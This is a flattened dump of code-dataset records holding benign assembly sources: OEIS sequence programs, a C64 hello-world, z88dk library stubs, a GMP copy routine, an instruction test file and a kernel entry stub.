hexsha
stringlengths
40
40
size
int64
6
1.05M
ext
stringclasses
3 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
232
max_stars_repo_name
stringlengths
7
106
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
7
max_stars_count
int64
1
33.5k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
232
max_issues_repo_name
stringlengths
7
106
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
7
max_issues_count
int64
1
37.5k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
232
max_forks_repo_name
stringlengths
7
106
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
7
max_forks_count
int64
1
12.6k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
6
1.05M
avg_line_length
float64
1.16
19.7k
max_line_length
int64
2
938k
alphanum_fraction
float64
0
1
9f5605c4c9c1a4b206ea398bf283f05bf6773e0a
976
asm
Assembly
test.asm
bisand/c64-training
5f07562eb80a0c3cd8349a314758342bbca7e7df
[ "MIT" ]
null
null
null
test.asm
bisand/c64-training
5f07562eb80a0c3cd8349a314758342bbca7e7df
[ "MIT" ]
null
null
null
test.asm
bisand/c64-training
5f07562eb80a0c3cd8349a314758342bbca7e7df
[ "MIT" ]
null
null
null
; basic loader program ;10 SYS 4096; $0801 = 2049 *=$0801 ; $0C $08 = $080C 2-byte pointer to the next line of BASIC code ; $0A = 10; 2-byte line number low byte ($000A = 10) ; $00 = 0 ; 2-byte line number high bye ; $9E = SYS BASIC token ; $20 = [space] ; $34 = “4” , $30 = “0”, $39 = “9”, $36 = “6” (ASCII encoded numbers for decimal starting address) ; $0 = end of line ; $00 $00 = 2-byte pointer to the next line of BASIC code ($0000 = end of program) !byte $0C,$08,$0A,$00,$9E,$20 !byte $34,$30,$39,$36,$00,$00,$00 ; real start of program $1000 = 4096 *=$1000 rasterline = $80 start: jsr $e544 loop: lda #$03 sta $d020 sta $d021 ldx #$00 drawText: lda text,x sta $0400+40*12,x inx cpx #40 bne drawText ldx 5 stx 53280 jsr WaitFrame inx stx 53280 jmp loop WaitFrame: lda $d012 cmp #$F8 beq WaitFrame .WaitStep2: lda $d012 cmp #$F8 bne .WaitStep2 rts text: !scr " hello world "
16
98
0.589139
e1c8546df5a4ec2b068ea068504d75cfbc1f81e3
905
asm
Assembly
programs/oeis/185/A185355.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/185/A185355.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/185/A185355.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A185355: Number of n X n symmetric (0,1)-matrices containing four ones. ; 0,1,12,52,150,345,686,1232,2052,3225,4840,6996,9802,13377,17850,23360,30056,38097,47652,58900,72030,87241,104742,124752,147500,173225,202176,234612,270802,311025,355570,404736,458832,518177,583100,653940,731046,814777,905502,1003600,1109460,1223481,1346072,1477652,1618650,1769505,1930666,2102592,2285752,2480625,2687700,2907476,3140462,3387177,3648150,3923920,4215036,4522057,4845552,5186100,5544290,5920721,6316002,6730752,7165600,7621185,8098156,8597172,9118902,9664025,10233230,10827216,11446692,12092377,12765000,13465300,14194026,14951937,15739802,16558400,17408520,18290961,19206532,20156052,21140350,22160265,23216646,24310352,25442252,26613225,27824160,29075956,30369522,31705777,33085650,34510080,35980016,37496417,39060252,40672500 mov $1,$0 pow $0,2 add $1,$0 bin $0,2 mul $1,2 bin $1,2 add $1,$0 mov $0,$1 div $0,6
69.615385
744
0.820994
ebcd6d5c2c431c461b26150c2e30dadde9722720
363
asm
Assembly
programs/oeis/212/A212686.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/212/A212686.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/212/A212686.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A212686: Number of (w,x,y,z) with all terms in {1,...,n} and 2|w-x|=n+|y-z|. ; 0,0,4,8,24,40,76,112,176,240,340,440,584,728,924,1120,1376,1632,1956,2280,2680,3080,3564,4048,4624,5200,5876,6552,7336,8120,9020,9920,10944,11968,13124,14280,15576,16872,18316,19760,21360,22960 lpb $0 mov $2,$0 sub $0,1 div $2,2 pow $2,2 add $1,$2 lpe mul $1,4 mov $0,$1
27.923077
195
0.655647
9b42343b667b34261f84f85f596784306d4a9395
538
asm
Assembly
programs/oeis/235/A235115.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/235/A235115.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/235/A235115.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A235115: Number of independent vertex subsets of the graph obtained by attaching two pendant edges to each vertex of the star graph S_n (having n vertices; see A235114). ; 5,24,116,564,2756,13524,66596,328884,1628036,8074644,40111076,199506804,993339716,4949921364,24682497956,123144054324,614646529796,3068937681684,15327508539236,76568823219444,382569238190276,1911746679323604,9554335350106916,47754084564490164 mov $1,4 mov $2,4 pow $2,$0 lpb $0,1 sub $0,1 mul $1,5 lpe add $1,$2 add $3,2 mul $1,$3 sub $1,10 div $1,2 add $1,5
31.647059
244
0.780669
10802059d4b2df2624064c5383857e828d5b3289
343
asm
Assembly
src/PJ/rexlib/mathlib/highc387.asm
AnimatorPro/Animator-Pro
6d0b68cd94bb5cfde2cdd05e9a7c8ee1e1cb3cbb
[ "BSD-3-Clause" ]
119
2015-01-10T15:13:50.000Z
2022-01-24T04:54:34.000Z
src/PJ/rexlib/mathlib/highc387.asm
AnimatorPro/Animator-Pro
6d0b68cd94bb5cfde2cdd05e9a7c8ee1e1cb3cbb
[ "BSD-3-Clause" ]
6
2015-10-22T20:14:59.000Z
2021-07-10T03:25:21.000Z
src/PJ/rexlib/mathlib/highc387.asm
AnimatorPro/Animator-Pro
6d0b68cd94bb5cfde2cdd05e9a7c8ee1e1cb3cbb
[ "BSD-3-Clause" ]
27
2015-04-24T22:55:30.000Z
2022-01-21T13:54:00.000Z
CGROUP group code code segment dword 'CODE' assume cs:CGROUP,ds:CGROUP code ends _BSS SEGMENT PUBLIC DWORD USE32 'BSS' public _mw87_used public _mw387_used ORG 00000000H _mw87_used LABEL BYTE _mw387_used LABEL BYTE ORG 00000004H _BSS ENDS end
19.055556
49
0.588921
4c459e6aabb77322b8b0a670596a3c2fd3a01a3d
477
asm
Assembly
oeis/303/A303990.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/303/A303990.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/303/A303990.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A303990: Triangle, read by rows: n^k * k^n, for n >= 1 and k = 1..n. ; Submitted by Christian Krause ; 1,2,16,3,72,729,4,256,5184,65536,5,800,30375,640000,9765625,6,2304,157464,5308416,121500000,2176782336,7,6272,750141,39337984,1313046875,32934190464,678223072849,8,16384,3359232,268435456,12800000000,440301256704,12089663946752,281474976710656 lpb $0 add $1,1 sub $0,$1 mov $2,$1 sub $2,$0 lpe add $0,1 mov $1,$0 add $2,$0 pow $1,$2 pow $2,$0 mul $2,$1 mov $0,$2
26.5
245
0.704403
27029f473bdace00be25547f7c934aeab1a8d9c7
312
asm
Assembly
libsrc/msx/msx_text.asm
andydansby/z88dk-mk2
51c15f1387293809c496f5eaf7b196f8a0e9b66b
[ "ClArtistic" ]
1
2020-09-15T08:35:49.000Z
2020-09-15T08:35:49.000Z
libsrc/msx/msx_text.asm
andydansby/z88dk-MK2
51c15f1387293809c496f5eaf7b196f8a0e9b66b
[ "ClArtistic" ]
null
null
null
libsrc/msx/msx_text.asm
andydansby/z88dk-MK2
51c15f1387293809c496f5eaf7b196f8a0e9b66b
[ "ClArtistic" ]
null
null
null
; ; MSX specific routines ; by Stefano Bodrato, 30/11/2007 ; ; int msx_text(); ; ; Switch to text mode ; ; $Id: msx_text.asm,v 1.4 2009/06/22 21:44:17 dom Exp $ ; XLIB msx_text LIB msxbios IF FORmsx INCLUDE "msxbios.def" ELSE INCLUDE "svibios.def" ENDIF msx_text: ld ix,TOTEXT jp msxbios
13
55
0.660256
823e29d80bcc023c81454e916730782b492a30a0
8,980
asm
Assembly
test/or.asm
CrackerCat/AssemblyLine
981ec818cbdbe8e7a01fd0c00faa80e9cb5f22b8
[ "Apache-2.0" ]
null
null
null
test/or.asm
CrackerCat/AssemblyLine
981ec818cbdbe8e7a01fd0c00faa80e9cb5f22b8
[ "Apache-2.0" ]
null
null
null
test/or.asm
CrackerCat/AssemblyLine
981ec818cbdbe8e7a01fd0c00faa80e9cb5f22b8
[ "Apache-2.0" ]
null
null
null
SECTION .text GLOBAL test test: or rsp, 0x39a8 or r10, r11 or r10, r12 or r10, r13 or r10, r14 or r10, r15 or r10, r8 or r10, r9 or r10, rax or r10, rbp or r10, rbx or r10, rcx or r10, rdi or r10, rdx or r10, rsi or r10, [ rsp + 0x11f0 ] or r10, [ rsp + 0x19f0 ] or r10, [ rsp + 0x1b10 ] or r10, [ rsp + 0x1c10 ] or r10, [ rsp + 0x1c8 ] or r10, [ rsp + 0x1de8 ] or r10, [ rsp + 0x1f90 ] or r10, [ rsp + 0x2708 ] or r10, [ rsp + 0x2970 ] or r10, [ rsp + 0x2e10 ] or r10, [ rsp + 0x30e0 ] or r10, [ rsp + 0x35c0 ] or r10, [ rsp + 0x460 ] or r10, [ rsp + 0x680 ] or r10, [ rsp + 0xb48 ] or r11, r10 or r11, r12 or r11, r13 or r11, r14 or r11, r15 or r11, r8 or r11, r9 or r11, rax or r11, rcx or r11, rdi or r11, rsi or r11, [ rsp + 0x14a0 ] or r11, [ rsp + 0x158 ] or r11, [ rsp + 0x1750 ] or r11, [ rsp + 0x2218 ] or r11, [ rsp + 0x24b0 ] or r11, [ rsp + 0x2688 ] or r11, [ rsp + 0x26c0 ] or r11, [ rsp + 0x2920 ] or r11, [ rsp + 0x2938 ] or r11, [ rsp + 0x29b0 ] or r11, [ rsp + 0x3780 ] or r11, [ rsp + 0x37e8 ] or r11, [ rsp + 0xbd8 ] or r12, r10 or r12, r11 or r12, r13 or r12, r14 or r12, r15 or r12, r9 or r12, rax or r12, rbp or r12, rbx or r12, rcx or r12, rdi or r12, rdx or r12, rsi or r12, [ rsp + 0x1048 ] or r12, [ rsp + 0x12a0 ] or r12, [ rsp + 0x1428 ] or r12, [ rsp + 0x16c8 ] or r12, [ rsp + 0x220 ] or r12, [ rsp + 0x23b8 ] or r12, [ rsp + 0x2520 ] or r12, [ rsp + 0x2528 ] or r12, [ rsp + 0x29a8 ] or r12, [ rsp + 0x2be8 ] or r12, [ rsp + 0x910 ] or r13, r11 or r13, r12 or r13, r15 or r13, r8 or r13, r9 or r13, rax or r13, rbp or r13, rcx or r13, rdi or r13, rdx or r13, rsi or r13, [ rsp + 0x110 ] or r13, [ rsp + 0x14c0 ] or r13, [ rsp + 0x1d90 ] or r13, [ rsp + 0x1fe8 ] or r13, [ rsp + 0x2228 ] or r13, [ rsp + 0x2780 ] or r13, [ rsp + 0x27d0 ] or r13, [ rsp + 0x2c20 ] or r13, [ rsp + 0x3658 ] or r13, [ rsp + 0x3c8 ] or r13, [ rsp + 0xe08 ] or r14, r10 or r14, r11 or r14, r12 or r14, r13 or r14, r15 or r14, r8 or r14, r9 or r14, rax or r14, rbp or r14, rcx or r14, rdx or r14, rsi or r14, [ rsp + 0x13e8 ] or r14, [ rsp + 0x17b0 ] or r14, [ rsp + 0x18c8 ] or r14, [ rsp + 0x1aa0 ] or r14, [ rsp + 0x1e58 ] or r14, [ rsp + 0x2088 ] or r14, [ rsp + 0x20e8 ] or r14, [ rsp + 0x2498 ] or r14, [ rsp + 0x2a10 ] or r14, [ rsp + 0x2da0 ] or r14, [ rsp + 0x32c0 ] or r14, [ rsp + 0x34f8 ] or r14, [ rsp + 0x3600 ] or r14, [ rsp + 0x3a8 ] or r14, [ rsp + 0x600 ] or r14, [ rsp + 0x848 ] or r14, [ rsp + 0xdc8 ] or r15, r10 or r15, r11 or r15, r13 or r15, r8 or r15, r9 or r15, rax or r15, rbp or r15, rbx or r15, rcx or r15, rdi or r15, rdx or r15, rsi or r15, [ rsp + 0x1910 ] or r15, [ rsp + 0x1968 ] or r15, [ rsp + 0x1b58 ] or r15, [ rsp + 0x1d0 ] or r15, [ rsp + 0x30c8 ] or r15, [ rsp + 0x3110 ] or r15, [ rsp + 0x3140 ] or r15, [ rsp + 0x8f8 ] or r15, [ rsp + 0xb70 ] or r15, [ rsp + 0xbe0 ] or r15, [ rsp + 0xd50 ] or r8, r11 or r8, r12 or r8, r13 or r8, r14 or r8, r15 or r8, r9 or r8, rax or r8, rbp or r8, rbx or r8, rcx or r8, rdi or r8, rdx or r8, [ rsp + 0x1270 ] or r8, [ rsp + 0x14b0 ] or r8, [ rsp + 0x1700 ] or r8, [ rsp + 0x1730 ] or r8, [ rsp + 0x1c08 ] or r8, [ rsp + 0x1fe0 ] or r8, [ rsp + 0x2110 ] or r8, [ rsp + 0x2500 ] or r8, [ rsp + 0x2e48 ] or r8, [ rsp + 0x3380 ] or r8, [ rsp + 0x3488 ] or r8, [ rsp + 0x38e8 ] or r8, [ rsp + 0x440 ] or r8, [ rsp + 0x6b8 ] or r8, [ rsp + 0xb90 ] or r8, [ rsp + 0xe18 ] or r8, [ rsp + 0xea0 ] or r8, [ rsp + 0xf78 ] or r8, [ rsp + 0xfe0 ] or r9, r10 or r9, r11 or r9, r12 or r9, r14 or r9, r15 or r9, r8 or r9, rax or r9, rbp or r9, rbx or r9, rcx or r9, rdi or r9, rsi or r9, [ rsp + 0x1030 ] or r9, [ rsp + 0x1b70 ] or r9, [ rsp + 0x2310 ] or r9, [ rsp + 0x2318 ] or r9, [ rsp + 0x26f8 ] or r9, [ rsp + 0x27c8 ] or r9, [ rsp + 0x27d8 ] or r9, [ rsp + 0x3860 ] or r9, [ rsp + 0x3958 ] or r9, [ rsp + 0xf70 ] or rax, r10 or rax, r11 or rax, r12 or rax, r14 or rax, r15 or rax, r8 or rax, r9 or rax, rbp or rax, rbx or rax, rcx or rax, rdx or rax, rsi or rax, [ rsp + 0x1198 ] or rax, [ rsp + 0x11e8 ] or rax, [ rsp + 0x2b10 ] or rax, [ rsp + 0x2b70 ] or rax, [ rsp + 0x2ea0 ] or rax, [ rsp + 0x3118 ] or rax, [ rsp + 0x3288 ] or rax, [ rsp + 0x34b8 ] or rax, [ rsp + 0x35f0 ] or rax, [ rsp + 0x3700 ] or rax, [ rsp + 0x4b0 ] or rax, [ rsp + 0x978 ] or rax, [ rsp + 0xb88 ] or rbp, r10 or rbp, r12 or rbp, r13 or rbp, r15 or rbp, r8 or rbp, r9 or rbp, rax or rbp, rsi or rbp, [ rsp + 0x1470 ] or rbp, [ rsp + 0x1970 ] or rbp, [ rsp + 0x1f80 ] or rbp, [ rsp + 0x20a0 ] or rbp, [ rsp + 0x2878 ] or rbp, [ rsp + 0x29d0 ] or rbp, [ rsp + 0x2df8 ] or rbp, [ rsp + 0x2ec8 ] or rbp, [ rsp + 0x30d8 ] or rbp, [ rsp + 0x3320 ] or rbp, [ rsp + 0x3360 ] or rbp, [ rsp + 0x3500 ] or rbp, [ rsp + 0x37a0 ] or rbp, [ rsp + 0x5f0 ] or rbp, [ rsp + 0x858 ] or rbp, [ rsp + 0x980 ] or rbx, r10 or rbx, r11 or rbx, r12 or rbx, r14 or rbx, r15 or rbx, r8 or rbx, r9 or rbx, rbp or rbx, rcx or rbx, rdi or rbx, rdx or rbx, rsi or rbx, [ rsp + 0x12d0 ] or rbx, [ rsp + 0x1388 ] or rbx, [ rsp + 0x1890 ] or rbx, [ rsp + 0x1980 ] or rbx, [ rsp + 0x2248 ] or rbx, [ rsp + 0x22c8 ] or rbx, [ rsp + 0x2dc0 ] or rbx, [ rsp + 0x3098 ] or rbx, [ rsp + 0x32d8 ] or rbx, [ rsp + 0x3618 ] or rbx, [ rsp + 0x3758 ] or rbx, [ rsp + 0x620 ] or rbx, [ rsp + 0x730 ] or rbx, [ rsp + 0x8b8 ] or rbx, [ rsp + 0xa60 ] or rbx, [ rsp + 0xec0 ] or rcx, r10 or rcx, r11 or rcx, r12 or rcx, r13 or rcx, r14 or rcx, r15 or rcx, r8 or rcx, r9 or rcx, rbp or rcx, rbx or rcx, rdi or rcx, rdx or rcx, rsi or rcx, [ rsp + 0x1000 ] or rcx, [ rsp + 0x1238 ] or rcx, [ rsp + 0x1248 ] or rcx, [ rsp + 0x1790 ] or rcx, [ rsp + 0x1b38 ] or rcx, [ rsp + 0x1d58 ] or rcx, [ rsp + 0x1e88 ] or rcx, [ rsp + 0x1f8 ] or rcx, [ rsp + 0x2058 ] or rcx, [ rsp + 0x228 ] or rcx, [ rsp + 0x2460 ] or rcx, [ rsp + 0x2940 ] or rcx, [ rsp + 0x2ce8 ] or rcx, [ rsp + 0x3040 ] or rcx, [ rsp + 0x3208 ] or rcx, [ rsp + 0x35b8 ] or rcx, [ rsp + 0xd98 ] or rdi, r10 or rdi, r11 or rdi, r12 or rdi, r13 or rdi, r14 or rdi, r15 or rdi, r8 or rdi, r9 or rdi, rax or rdi, rbp or rdi, rcx or rdi, rdx or rdi, rsi or rdi, [ rsp + 0x1080 ] or rdi, [ rsp + 0x14d0 ] or rdi, [ rsp + 0x18f8 ] or rdi, [ rsp + 0x2038 ] or rdi, [ rsp + 0x2b80 ] or rdi, [ rsp + 0x3740 ] or rdi, [ rsp + 0x38a0 ] or rdi, [ rsp + 0x580 ] or rdi, [ rsp + 0x640 ] or rdi, [ rsp + 0x728 ] or rdi, [ rsp + 0x850 ] or rdi, [ rsp + 0xf20 ] or rdx, r10 or rdx, r12 or rdx, r13 or rdx, r14 or rdx, r15 or rdx, r8 or rdx, r9 or rdx, rax or rdx, rbp or rdx, rbx or rdx, rdi or rdx, rsi or rdx, [ rsp + 0x1078 ] or rdx, [ rsp + 0x1688 ] or rdx, [ rsp + 0x1ce0 ] or rdx, [ rsp + 0x21a8 ] or rdx, [ rsp + 0x2428 ] or rdx, [ rsp + 0x2620 ] or rdx, [ rsp + 0x2b18 ] or rdx, [ rsp + 0x2c80 ] or rdx, [ rsp + 0x2ed0 ] or rdx, [ rsp + 0x3748 ] or rdx, [ rsp + 0xa0 ] or rdx, [ rsp + 0xbd0 ] or rdx, [ rsp + 0xd68 ] or rsi, r10 or rsi, r11 or rsi, r12 or rsi, r13 or rsi, r14 or rsi, r15 or rsi, r8 or rsi, rax or rsi, rbp or rsi, rbx or rsi, rcx or rsi, rdi or rsi, rdx or rsi, [ rsp + 0x16b8 ] or rsi, [ rsp + 0x178 ] or rsi, [ rsp + 0x1b80 ] or rsi, [ rsp + 0x1d40 ] or rsi, [ rsp + 0x22b0 ] or rsi, [ rsp + 0x2560 ] or rsi, [ rsp + 0x2760 ] or rsi, [ rsp + 0x2bb8 ] or rsi, [ rsp + 0x2c50 ] or rsi, [ rsp + 0xc78 ] or r10, r11 or r10, rdi or r12, r11 or r13, r10 or r14, r8 or r14, rdi or r15, r10 or r15, r11 or r8, r10 or r8, r11 or r8, rdi or r9, r10 or r9, rdi or rax, r10 or rax, rbp or rbx, r11 or rbx, rdi or rcx, r11 or rcx, rdi or rdx, r10 or al, 0x0 or ax, 0xe1 or eax, 0xe11 or sil, 0x0 or si, 0xe1 or esi, 0xe11 or rax, 0xfffee12 or rax, 0xff6ee12 or rax, 0xf66ee12 or rax, 0x666ee12 or rax, 0x6666ee12 or rax, -0x1 or rax, -0xfffee12 or rax, -0xff6ee12 or rax, -0xf66ee12 or rax, -0x666ee12 or rax, -0x6666ee12 or rbp, -0xfffee12 or rbp, 0xfffee12 or rbp, 0xff6ee12 or rbp, 0xf66ee12 or rbp, 0x666ee12 or rbp, 0x6666ee12 or rbp, -0xf or rbp, -0xe or rbp, -0xd or rbp, -0x7 or rbp, -0x4 or rbp, -0x3 or rbp, -0x2 or rbp, -0xff or rbp, -0xef or rbp, -0xdf or rbp, -0xcf or rbp, -0xbf or rbp, -0xaf or rbp, -0x9f or rbp, -0x8f or rbp, -0x7f or rbp, -0x3e or rbp, -0x6f or rbp, -0x5f or rbp, -0x4f or rbp, -0x1f or rbp, -0xfa or rbp, -0xf9 or rbp, -0xf8 or rbp, -0xf7 or rbp, -0xf6 or rbp, -0xf5 or rbp, -0xf4 or rbp, -0xf3 or rbp, -0xf2 or rbp, -0xf1 or rbp, -0xf66 or rbp, -0x666ee or rbp, -0x6666ee12 or r13, -0xfffee12 or r13, 0xfffee12 or r13, 0xff6ee12 or r13, 0xf66ee12 or r13, 0x666ee12 or r13, 0x6666ee12 or r13, -0x1 or r13, -0xfffee12 or r13, -0xff6ee12 or r13, -0xf66ee12 or r13, -0x666ee12 or r13, -0x6666ee12 or rax, 0x12 or rax, 0xe12 or rax, 0x66ee12 or rax, 0x66ee12 or rax, 0x6ee12 or sp, 0x34ef or r8w, 0x1 or rax, [ rbx ] or rax, [ rbx + 0x10 ] or rax, 0x0 or rax, 0x0 ; with a comment or r12, r14 or r12, rbx or r12, [ rsp + 0x10 ] or rax, 0xfff or rax, r15 or rax, rbp or rbp, r12 or rbp, r8 or rbp, r9 or rbx, r9 or rbx, rdi or rdi, r10 or rdx, r14 or rsp, 0x138 or rsp, 0x48 or rsp, 0x50 or rsp, 0x80 or eax, ebx or eax, [rbx] or eax, dword [rsp] or eax, dword [rbx] or eax, [rsp]
17.573386
28
0.604677
9b5da869aa78cdbc5472e4b66e977fcb0a849d7d
64
asm
Assembly
src/kernel/entry.asm
xnoe/xnoe-os
57768784a6e6a3e01c8554737f876f5363edee5e
[ "MIT" ]
5
2021-08-30T00:05:43.000Z
2021-12-16T02:12:24.000Z
src/kernel/entry.asm
xnoe/xnoe-os
57768784a6e6a3e01c8554737f876f5363edee5e
[ "MIT" ]
null
null
null
src/kernel/entry.asm
xnoe/xnoe-os
57768784a6e6a3e01c8554737f876f5363edee5e
[ "MIT" ]
null
null
null
[BITS 32] _start: mov esp, 0xc1005ffc jmp main extern main
9.142857
21
0.703125
9e580e6241256e515a92cf5d3d9a73418a84deb1
716
asm
Assembly
oeis/213/A213554.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/213/A213554.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/213/A213554.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A213554: Principal diagonal of the convolution array A213553. ; Submitted by Christian Krause ; 1,43,334,1406,4271,10577,22764,44220,79437,134167,215578,332410,495131,716093,1009688,1392504,1883481,2504067,3278374,4233334,5398855,6807977,8497028,10505780,12877605,15659631,18902898,22662514,26997811,31972501,37654832,44117744,51439025,59701467,68993022,79406958,91042015,104002561,118398748,134346668,151968509,171392711,192754122,216194154,241860939,269909485,300501832,333807208,370002185,409270835,451804886,497803878,547475319,601034841,658706356,720722212,787323349,858759455,935289122 add $0,1 mov $2,$0 lpb $0 mov $4,$0 sub $0,1 mov $3,$2 add $2,1 pow $3,3 mul $3,$4 add $1,$3 lpe mov $0,$1
42.117647
497
0.798883
4c5bc7147829294d67f3632cddc437ff48d93c9c
463
asm
Assembly
libsrc/_DEVELOPMENT/math/float/math48/z80/am48_double32.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/math/float/math48/z80/am48_double32.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/math/float/math48/z80/am48_double32.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
SECTION code_fp_math48 PUBLIC am48_double32 EXTERN am48_double32u, l_neg_dehl am48_double32: ; 32-bit signed long to double ; ; enter : DEHL = 32-bit integer n ; ; exit : AC = AC' (AC' saved) ; AC'= (double)(n) ; ; uses : af, bc, de, hl, af', bc', de', hl' ld a,d or a jp p, am48_double32u ; if n >= 0 call l_neg_dehl ; n = |n| call am48_double32u exx set 7,b exx ret
14.935484
47
0.535637
82af81c522ba3257d213369cac1fddaf0d98f74d
1,973
asm
Assembly
libtool/src/gmp-6.1.2/mpn/x86/pentium4/copyd.asm
kroggen/aergo
05af317eaa1b62b21dc0144ef74a9e7acb14fb87
[ "MIT" ]
1,602
2015-01-06T11:26:31.000Z
2022-03-30T06:17:21.000Z
libtool/src/gmp-6.1.2/mpn/x86/pentium4/copyd.asm
kroggen/aergo
05af317eaa1b62b21dc0144ef74a9e7acb14fb87
[ "MIT" ]
11,789
2015-01-05T04:50:15.000Z
2022-03-31T23:39:19.000Z
libtool/src/gmp-6.1.2/mpn/x86/pentium4/copyd.asm
kroggen/aergo
05af317eaa1b62b21dc0144ef74a9e7acb14fb87
[ "MIT" ]
498
2015-01-08T18:58:18.000Z
2022-03-20T15:37:45.000Z
dnl Pentium-4 mpn_copyd -- copy limb vector, decrementing. dnl Copyright 1999-2001 Free Software Foundation, Inc. dnl This file is part of the GNU MP Library. dnl dnl The GNU MP Library is free software; you can redistribute it and/or modify dnl it under the terms of either: dnl dnl * the GNU Lesser General Public License as published by the Free dnl Software Foundation; either version 3 of the License, or (at your dnl option) any later version. dnl dnl or dnl dnl * the GNU General Public License as published by the Free Software dnl Foundation; either version 2 of the License, or (at your option) any dnl later version. dnl dnl or both in parallel, as here. dnl dnl The GNU MP Library is distributed in the hope that it will be useful, but dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License dnl for more details. dnl dnl You should have received copies of the GNU General Public License and the dnl GNU Lesser General Public License along with the GNU MP Library. If not, dnl see https://www.gnu.org/licenses/. dnl The std/rep/movsl/cld is very slow for small blocks on pentium4. Its dnl startup time seems to be about 165 cycles. It then needs 2.6 c/l. dnl We therefore use an open-coded 2 c/l copying loop. dnl Ultimately, we may want to use 64-bit movq or 128-bit movdqu in some dnl nifty unrolled arrangement. Clearly, that could reach much higher dnl speeds, at least for large blocks. include(`../config.m4') defframe(PARAM_SIZE, 12) defframe(PARAM_SRC, 8) defframe(PARAM_DST, 4) TEXT ALIGN(8) PROLOGUE(mpn_copyd) deflit(`FRAME',0) movl PARAM_SIZE, %ecx movl PARAM_SRC, %eax movl PARAM_DST, %edx movl %ebx, PARAM_SIZE addl $-1, %ecx js L(end) L(loop): movl (%eax,%ecx,4), %ebx movl %ebx, (%edx,%ecx,4) addl $-1, %ecx jns L(loop) L(end): movl PARAM_SIZE, %ebx ret EPILOGUE()
27.402778
79
0.736442
660eebeea8082ca09637aaaf07d499263eb0ef93
551
asm
Assembly
libsrc/math/zxmath/asin.asm
grancier/z180
e83f35e36c9b4d1457e40585019430e901c86ed9
[ "ClArtistic" ]
null
null
null
libsrc/math/zxmath/asin.asm
grancier/z180
e83f35e36c9b4d1457e40585019430e901c86ed9
[ "ClArtistic" ]
null
null
null
libsrc/math/zxmath/asin.asm
grancier/z180
e83f35e36c9b4d1457e40585019430e901c86ed9
[ "ClArtistic" ]
1
2019-12-03T23:57:48.000Z
2019-12-03T23:57:48.000Z
; ; ; ZX Maths Routines ; ; 7/12/02 - Stefano Bodrato ; ; $Id: asin.asm,v 1.5 2016/06/22 19:59:18 dom Exp $ ; ;double asin(double) ;Number in FA.. IF FORzx INCLUDE "zxfp.def" ENDIF IF FORzx81 INCLUDE "81fp.def" ENDIF IF FORlambda INCLUDE "lambdafp.def" ENDIF SECTION code_fp PUBLIC asin EXTERN fsetup1 EXTERN stkequ .asin call fsetup1 IF FORlambda defb ZXFP_ASN + 128 ELSE defb ZXFP_ASN defb ZXFP_END_CALC ENDIF jp stkequ
13.775
57
0.573503
10e9d9c4b926a4a4793f3b7294f15dabf18d6f5c
288
asm
Assembly
factorial/fact.asm
AbderrhmanAbdellatif/SysPro
fa6ee66a63a62043c5d114bf80efec397fb1a13c
